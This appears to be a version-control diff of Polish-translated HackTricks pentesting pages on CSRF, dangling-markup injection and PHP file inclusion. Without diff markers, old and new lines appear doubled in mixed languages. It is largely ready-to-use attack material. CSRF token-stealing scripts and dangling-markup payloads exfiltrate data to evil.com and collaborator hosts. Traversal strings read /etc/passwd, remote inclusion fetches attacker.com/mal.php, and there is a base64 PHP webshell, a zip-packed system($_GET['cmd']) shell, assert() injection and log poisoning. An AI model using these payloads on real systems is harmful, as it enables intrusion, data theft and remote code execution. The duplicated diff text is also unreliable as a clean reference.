Pierwsza część [**tego opisu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wyjaśnia, że [kod źródłowy Oaka](https://github.com/oakserver/oak/blob/main/router.ts#L281), router jest ustawiony na **obsługę żądań HEAD jako żądań GET** bez ciała odpowiedzi - powszechne obejście, które nie jest unikalne dla Oaka. Zamiast konkretnego handlera, który zajmuje się żądaniami HEAD, są one po prostu **przekazywane do handlera GET, ale aplikacja po prostu usuwa ciało odpowiedzi**.
Dlatego, jeśli żądanie GET jest ograniczone, możesz po prostu **wysłać żądanie HEAD, które zostanie przetworzone jako żądanie GET**.
## **Przykłady wykorzystania**
## **Przykłady Eksploatacji**
### **Ekstrakcja tokena CSRF**
Jeśli **token CSRF** jest używany jako **ochrona**, możesz spróbować **ekstrahować go**, wykorzystując lukę [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) lub lukę [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
Jeśli **token CSRF** jest używany jako **ochrona**, możesz spróbować **ekstrahować go**, wykorzystując lukę [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) lub lukę [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
### **GET przy użyciu tagów HTML**
```xml
@ -205,7 +205,7 @@ Jeśli **token CSRF** jest używany jako **ochrona**, możesz spróbować **ekst
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
Inne tagi HTML5, które można wykorzystać do automatycznego wysyłania żądania GET, to:
Inne tagi HTML5, które mogą być używane do automatycznego wysyłania żądania GET to:
```html
<iframe src="..."></iframe>
<script src="..."></script>
@ -234,7 +234,7 @@ background: url("...");
</video>
</audio>
```
### Żądanie GET formularza
### Wysyłanie żądania GET
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -280,7 +280,7 @@ document.forms[0].submit() //Way 3 to autosubmit
</body>
</html>
```
### Wysłanie żądania POST przez iframe
### Wysłanie żądania POST formularza przez iframe
```html
<!--
The request is sent through the iframe withuot reloading the page
@ -303,7 +303,7 @@ document.forms[0].submit()
</body>
</html>
```
### **Żądanie POST Ajax**
### **Ajax POST request**
```html
<script>
var xh
@ -397,7 +397,7 @@ document.getElementById("formulario").submit()
</body>
</body>
```
### **Kradzież tokena CSRF i wysłanie żądania POST**
### **Kradnij token CSRF i wyślij żądanie POST**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
@ -444,7 +444,7 @@ var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **Kradzież tokena CSRF i wysłanie żądania Post za pomocą iframe, formularza i Ajax**
### **Kradnij token CSRF i wyślij żądanie Post za pomocą iframe, formularza i Ajax**
```html
<form
id="form1"
@ -535,7 +535,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTZabierz token CSRF za pomocą Ajax i wyślij post z formularzem**
### **POSTSteal token CSRF za pomocą Ajax i wyślij post z formularzem**
```html
<body onload="getData()">
<form

View File

@ -4,10 +4,10 @@
## Resume
Ta technika może być używana do wyodrębniania informacji od użytkownika, gdy **znaleziono wstrzyknięcie HTML**. Jest to bardzo przydatne, jeśli **nie znajdziesz sposobu na wykorzystanie** [**XSS**](../xss-cross-site-scripting/), ale możesz **wstrzyknąć kilka tagów HTML**.\
Ta technika może być używana do wyodrębniania informacji od użytkownika, gdy **znaleziono wstrzyknięcie HTML**. Jest to bardzo przydatne, jeśli **nie znajdziesz sposobu na wykorzystanie** [**XSS** ](../xss-cross-site-scripting/), ale możesz **wstrzyknąć kilka tagów HTML**.\
Jest to również przydatne, jeśli jakiś **sekret jest zapisany w czystym tekście** w HTML i chcesz go **wyekstrahować** z klienta, lub jeśli chcesz wprowadzić w błąd w wykonaniu jakiegoś skryptu.
Kilka technik omówionych tutaj może być używanych do obejścia niektórych [**Content Security Policy**](../content-security-policy-csp-bypass/) poprzez wyekstrahowanie informacji w nieoczekiwany sposób (tagi html, CSS, tagi http-meta, formularze, base...).
Kilka technik omówionych tutaj może być używanych do obejścia niektórych [**Content Security Policy**](../content-security-policy-csp-bypass/) poprzez wyekstrahowanie informacji w nieoczekiwany sposób (tagi html, CSS, tagi meta http, formularze, base...).
## Main Applications
@ -41,7 +41,7 @@ steal me'<b>test</b>
```html
<base href="http://evil.com/" />
```
Następnie formularze, które wysyłają dane do ścieżki (takiej jak `<form action='update_profile.php'>`), będą wysyłać dane do złośliwej domeny.
Następnie formularze, które wysyłają dane do ścieżki (jak `<form action='update_profile.php'>`), będą wysyłać dane do złośliwej domeny.
### Kradzież formularzy 2
@ -65,7 +65,7 @@ Używając wspomnianej wcześniej techniki do kradzieży formularzy (wstrzykiwan
```html
<input type='hidden' name='review_body' value="
```
a to pole wejściowe będzie zawierać całą zawartość między jego podwójnymi cudzysłowami a następnym podwójnym cudzysłowem w HTML. Ten atak łączy "_**Kradzież tajemnic w czystym tekście**_" z "_**Kradzieżą forms2**_".
i to pole wejściowe będzie zawierać całą zawartość między jego podwójnymi cudzysłowami a następnym podwójnym cudzysłowem w HTML. Ten atak łączy "_**Kradzież tajemnic w czystym tekście**_" z "_**Kradzież forms2**_".
Możesz zrobić to samo, wstrzykując formularz i tag `<option>`. Wszystkie dane aż do znalezienia zamkniętego `</option>` zostaną wysłane:
```html
@ -86,7 +86,7 @@ Możesz zmienić ścieżkę formularza i wstawić nowe wartości, aby wykonać n
</form>
</form>
```
### Kradzież tajemnic w czystym tekście za pomocą noscript
### Kradzież tajemnic w postaci czystego tekstu za pomocą noscript
`<noscript></noscript>` To tag, którego zawartość będzie interpretowana, jeśli przeglądarka nie obsługuje JavaScript (możesz włączyć/wyłączyć JavaScript w Chrome w [chrome://settings/content/javascript](chrome://settings/content/javascript)).
@ -94,14 +94,14 @@ Sposobem na wyeksfiltrowanie zawartości strony internetowej od punktu wstrzykni
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Obejście CSP z interakcją użytkownika
### Ominięcie CSP z interakcją użytkownika
Z tego [badania portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) możesz się dowiedzieć, że nawet z **najbardziej ograniczonych** środowisk CSP możesz nadal **ekstrahować dane** z pewną **interakcją użytkownika**. W tej okazji użyjemy ładunku:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Zauważ, że poprosisz **ofiarę** o **kliknięcie w link**, który **przekieruje** do **ładunku** kontrolowanego przez ciebie. Zauważ również, że atrybut **`target`** wewnątrz tagu **`base`** będzie zawierał **treść HTML** aż do następnego pojedynczego cudzysłowu.\
Zauważ, że poprosisz **ofiarę** o **kliknięcie w link**, który **przekieruje** go do **ładunku** kontrolowanego przez ciebie. Zauważ również, że atrybut **`target`** wewnątrz tagu **`base`** będzie zawierał **treść HTML** aż do następnego pojedynczego cudzysłowu.\
To spowoduje, że **wartość** **`window.name`** po kliknięciu w link będzie zawierać całą tę **treść HTML**. Dlatego, ponieważ **kontrolujesz stronę**, na którą ofiara wchodzi, klikając link, możesz uzyskać dostęp do **`window.name`** i **ekstrahować** te dane:
```html
<script>
@ -109,7 +109,7 @@ if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Mylący przepływ skryptu 1 - atak na przestrzeń nazw HTML
### Mylący przepływ skryptu 1 - Atak na przestrzeń nazw HTML
Wstaw nowy tag z identyfikatorem wewnątrz HTML, który nadpisze następny i z wartością, która wpłynie na przepływ skryptu. W tym przykładzie wybierasz, z kim informacja będzie dzielona:
```html
@ -176,11 +176,11 @@ setTimeout(() => alert(win[0].name), 500)
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
```
Dla uzyskania dodatkowych informacji sprawdź [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
### \<meta nadużycie
### \<meta abuse
Możesz użyć **`meta http-equiv`** do wykonania **kilku działań**, takich jak ustawienie ciasteczka: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` lub wykonanie przekierowania (w tym przypadku po 5s): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Możesz użyć **`meta http-equiv`**, aby wykonać **kilka działań**, takich jak ustawienie ciasteczka: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` lub wykonanie przekierowania (w tym przypadku po 5s): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Można to **uniknąć** za pomocą **CSP** dotyczącego **http-equiv** ( `Content-Security-Policy: default-src 'self';`, lub `Content-Security-Policy: http-equiv 'self';`)
@ -197,7 +197,7 @@ Nie wszystkie sposoby na wyciek łączności w HTML będą przydatne dla Danglin
## SS-Leaks
To jest **mieszanka** między **dangling markup a XS-Leaks**. Z jednej strony luka pozwala na **wstrzykiwanie HTML** (ale nie JS) na stronę o **tej samej domenie**, którą będziemy atakować. Z drugiej strony nie będziemy **atakować** bezpośrednio strony, na którą możemy wstrzykiwać HTML, ale **inną stronę**.
To jest **mieszanka** między **dangling markup a XS-Leaks**. Z jednej strony luka pozwala na **wstrzykiwanie HTML** (ale nie JS) na stronę o **tej samej domenie**, którą będziemy atakować. Z drugiej strony nie będziemy **atakować** bezpośrednio strony, na którą możemy wstrzykć HTML, ale **inną stronę**.
{{#ref}}
ss-leaks.md
@ -205,7 +205,7 @@ ss-leaks.md
## XS-Search/XS-Leaks
XS-Search są ukierunkowane na **ekstrakcję informacji z różnych źródeł** poprzez nadużywanie **ataków bocznych**. Dlatego jest to inna technika niż Dangling Markup, jednak niektóre z technik nadużywają włączenia tagów HTML (z i bez wykonania JS), jak [**CSS Injection**](../xs-search/#css-injection) lub [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
XS-Search są ukierunkowane na **ekstrakcję informacji z różnych źródeł** poprzez nadużywanie **ataków bocznych**. Dlatego jest to inna technika niż Dangling Markup, jednak niektóre z technik nadużywają włączenia tagów HTML (z i bez wykonania JS), jak [**CSS Injection**](../xs-search/index.html#css-injection) lub [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
{{#ref}}
../xs-search/

View File

@ -1,4 +1,4 @@
# Włączenie pliku/Przechodzenie po ścieżkach
# Włączenie pliku/Przechodzenie ścieżki
{{#include ../../banners/hacktricks-training.md}}
@ -13,13 +13,13 @@ Vulnerable **funkcje PHP**: require, require_once, include, include_once
Interesujące narzędzie do wykorzystania tej luki: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesujące - LFI2RCE files
## Blind - Interesujące - pliki LFI2RCE
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Mieszając kilka list LFI \*nix i dodając więcej ścieżek, stworzyłem tę:**
**Mieszając kilka list LFI dla \*nix i dodając więcej ścieżek, stworzyłem tę:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
@ -49,7 +49,7 @@ Sprawdź listę LFI dla linux.
## Podstawowe LFI i obejścia
Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (strona=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Ominięcie dodawania kolejnych znaków na końcu podanego ciągu (ominięcie: $\_GET\['param']."php")
Ominięcie dodawania dodatkowych znaków na końcu podanego ciągu (ominięcie: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -90,14 +90,14 @@ System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Skanowanie folderów:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
2. **Skanowanie folderów:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie przejdź z powrotem do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje:
- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji.
- **Zawartość `/etc/passwd`:** Obecność folderu `private` jest potwierdzona.
4. **Rekurencyjna eksploracja:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
4. **Rekurencyjne badanie:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
```bash
@ -105,7 +105,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Technika Truncacji Ścieżki**
Truncacja ścieżki to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik.
Truncacja ścieżki to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik.
W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne z powodu natury systemu plików. Na przykład:
@ -113,7 +113,7 @@ W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne
- Gdy ostatnie 6 znaków to `passwd`, dodanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku.
- Podobnie, jeśli `.php` jest dodawane do ścieżki pliku (jak `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskuje się dostęp.
Podane przykłady pokazują, jak wykorzystać truncację ścieżki do uzyskania dostępu do `/etc/passwd`, powszechnego celu z powodu jego wrażliwej zawartości (informacje o kontach użytkowników):
Podane przykłady pokazują, jak wykorzystać truncację ścieżki do uzyskania dostępu do `/etc/passwd`, powszechnego celu z powodu jego wrażliwych treści (informacje o kontach użytkowników):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,7 +125,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
W tych scenariuszach liczba wymaganych przejść może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera.
- **Używanie segmentów kropek i dodatkowych znaków**: Sekwencje przejść (`../`) połączone z dodatkowymi segmentami kropek i znakami mogą być używane do nawigacji po systemie plików, skutecznie ignorując dołączone ciągi przez serwer.
- **Używanie segmentów kropek i dodatkowych znaków**: Sekwencje przejść (`../`) połączone z dodatkowymi segmentami kropek i znakami mogą być używane do nawigacji w systemie plików, skutecznie ignorując dołączone ciągi przez serwer.
- **Określenie wymaganej liczby przejść**: Poprzez próbę i błąd można znaleźć dokładną liczbę sekwencji `../`, które są potrzebne do nawigacji do katalogu głównego, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (jak `.php`) są neutralizowane, ale pożądana ścieżka (`/etc/passwd`) pozostaje nienaruszona.
- **Zaczynanie od fałszywego katalogu**: Powszechną praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (jak `a/`). Technika ta jest stosowana jako środek ostrożności lub w celu spełnienia wymagań logiki analizy ścieżek serwera.
@ -143,17 +143,17 @@ http://example.com/index.php?page=PhP://filter
```
## Zdalne dołączanie plików
W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Wyłączone.** Musi być **Włączone**, aby to działało, a w takim przypadku możesz dołączyć plik PHP z swojego serwera i uzyskać RCE:
W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Wyłączone.** Musi być **Włączone**, aby to działało, a w takim przypadku możesz dołączyć plik PHP z własnego serwera i uzyskać RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Jeśli z jakiegoś powodu **`allow_url_include`** jest **włączone**, ale PHP **filtruje** dostęp do zewnętrznych stron internetowych, [zgodnie z tym postem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć protokołu danych z base64, aby zdekodować kod PHP w b64 i uzyskać RCE:
Jeśli z jakiegoś powodu **`allow_url_include`** jest **włączone**, ale PHP **filtruje** dostęp do zewnętrznych stron internetowych, [zgodnie z tym postem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć protokołu danych z base64, aby dekodować kod PHP w b64 i uzyskać RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> W poprzednim kodzie końcowe `+.txt` zostało dodane, ponieważ atakujący potrzebował ciągu, który kończyłby się na `.txt`, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany).
> W poprzednim kodzie końcowe `+.txt` zostało dodane, ponieważ atakujący potrzebował ciągu, który kończył się na `.txt`, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany).
Inny przykład **nie używający protokołu `php://`** to:
```
@ -166,7 +166,7 @@ W Pythonie w kodzie takim jak ten:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Jeśli użytkownik przekaże **absolutną ścieżkę** do **`file_name`**, **poprzednia ścieżka zostanie po prostu usunięta**:
Jeśli użytkownik przekaże **ścieżkę absolutną** do **`file_name`**, **poprzednia ścieżka zostanie po prostu usunięta**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
@ -229,7 +229,7 @@ Filtry PHP pozwalają na podstawowe **operacje modyfikacji danych** przed ich od
- `convert.iconv.*` : Przekształca do innego kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l`
> [!WARNING]
> Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która przetwarza dowolny tekst. Więcej informacji znajdziesz w [**LFI2RCE za pomocą filtrów php**](lfi2rce-via-php-filters.md).
> Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Więcej informacji znajdziesz w [**LFI2RCE za pomocą filtrów PHP**](lfi2rce-via-php-filters.md).
- [Filtry kompresji](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Kompresuje zawartość (przydatne, jeśli eksfiltrujesz dużo informacji)
@ -238,7 +238,7 @@ Filtry PHP pozwalają na podstawowe **operacje modyfikacji danych** przed ich od
- `mcrypt.*` : Przestarzałe
- `mdecrypt.*` : Przestarzałe
- Inne filtry
- Uruchamiając w php `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**:
- Uruchamiając w PHP `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**:
- `consumed`
- `dechunk`: odwraca kodowanie HTTP chunked
- `convert.*`
@ -277,17 +277,17 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie:
- Użyj kodeka **`UCS-4LE`**, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo.
- To będzie używane do generowania **tekstu tak dużego, gdy początkowa litera jest odgadnięta poprawnie**, że php wywoła **błąd**.
- Użyj kodeka **`UCS-4LE`**, aby pozostawić wiodący znak tekstu na początku i zwiększyć rozmiar ciągu wykładniczo.
- To będzie używane do generowania **tekstu tak dużego, gdy początkowa litera jest poprawnie odgadnięta**, że php wywoła **błąd**.
- Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy.
- To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby nie była znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
- Kodek **convert.iconv.UNICODE.CP930** przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to `a`, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą.
- Używając innych transformacji, takich jak **rot13** na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przesuwania innych liter do zakresu szesnastkowego).
- Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekła liczba.
- Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci w kolejności, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu.
- Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci porządkowej, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu.
- A aby móc uzyskać **dalsze dane**, pomysł polega na **generowaniu 2 bajtów danych śmieciowych na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku.
W poście wyciekło również narzędzie do automatycznego wykonania tego: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
W poście wyciekła również narzędzie do automatycznego wykonania tego: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@ -301,7 +301,7 @@ Możesz również użyć **php://stdin, php://stdout i php://stderr** do uzyskan
### zip:// i rar://
Prześlij plik Zip lub Rar z PHPShell wewnątrz i uzyskaj do niego dostęp.\
Aby móc wykorzystać protokół rar, **musi być on specjalnie aktywowany**.
Aby móc nadużyć protokołu rar, **musi być on specjalnie aktywowany**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -356,11 +356,11 @@ Aby skompilować plik `.phar`, należy wykonać następujące polecenie:
```bash
php --define phar.readonly=0 create_path.php
```
Po wykonaniu zostanie utworzony plik o nazwie `test.phar`, który może być potencjalnie wykorzystany do eksploatacji luk w Local File Inclusion (LFI).
Po wykonaniu zostanie utworzony plik o nazwie `test.phar`, który może być wykorzystany do eksploatacji luk w Local File Inclusion (LFI).
W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, lub `filesize()`, można spróbować wykorzystać lukę w deserializacji. Ta luka jest związana z odczytem plików przy użyciu protokołu `phar`.
W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, lub `filesize()`, można spróbować wykorzystać lukę deserializacji. Luka ta jest związana z odczytem plików przy użyciu protokołu `phar`.
Aby uzyskać szczegółowe zrozumienie eksploatacji luk w deserializacji w kontekście plików `.phar`, zapoznaj się z dokumentem podanym poniżej:
Aby uzyskać szczegółowe informacje na temat eksploatacji luk deserializacji w kontekście plików `.phar`, zapoznaj się z dokumentem podanym poniżej:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -370,9 +370,9 @@ phar-deserialization.md
### CVE-2024-2961
Można było nadużyć **dowolnego pliku odczytywanego z PHP, który obsługuje filtry php**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Można było nadużyć **dowolnego pliku odczytywanego z PHP, który obsługuje filtry PHP**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Bardzo szybkie podsumowanie: nadużyto **przepełnienia o 3 bajty** w stercie PHP, aby **zmienić łańcuch wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hook do wywołania **`system`**.\
Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów php.
Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów PHP.
### Więcej protokołów
@ -389,13 +389,13 @@ Sprawdź więcej możliwych [**protokołów do uwzględnienia tutaj**](https://w
## LFI za pomocą 'assert' PHP
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierające znaki przechodzenia przez katalogi, takie jak "..", są sprawdzane, ale nie są odpowiednio oczyszczane.
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierają znaki przechodzenia przez katalogi, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczane.
Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeniu przez katalogi w ten sposób:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Chociaż to ma na celu zatrzymanie przejścia, niezamierzenie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości plików, atakujący mógłby użyć:
Chociaż ma to na celu zatrzymanie przejścia, niezamierzenie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości plików, atakujący mógłby użyć:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -424,7 +424,7 @@ Szczegóły techniczne znajdziesz w wspomnianym poście!
### Zdalne włączenie pliku
Wyjaśnione wcześniej, [**śledź ten link**](./#remote-file-inclusion).
Wyjaśnione wcześniej, [**śledź ten link**](#remote-file-inclusion).
### Poprzez plik dziennika Apache/Nginx
@ -435,7 +435,7 @@ Jeśli serwer Apache lub Nginx jest **podatny na LFI**, wewnątrz funkcji includ
>
> Upewnij się również, że **poprawnie zapisujesz ładunek**, w przeciwnym razie PHP zgłosi błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy.
Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek **autoryzacji "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell można wstawić do tego nagłówka.\
Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek **autoryzacji "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell może być wstawiony w tym nagłówku.\
Inne możliwe ścieżki dzienników:
```python
/var/log/apache2/access.log
@ -457,7 +457,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Via /proc/\*/fd/\*
1. Prześlij dużo powłok (na przykład: 100)
2. Dołącz [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gdzie $PID = PID procesu (można wymusić brute force) i $FD to deskryptor pliku (można również wymusić brute force)
2. Dołącz [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gdzie $PID = PID procesu (można wymusić) i $FD to deskryptor pliku (można również wymusić)
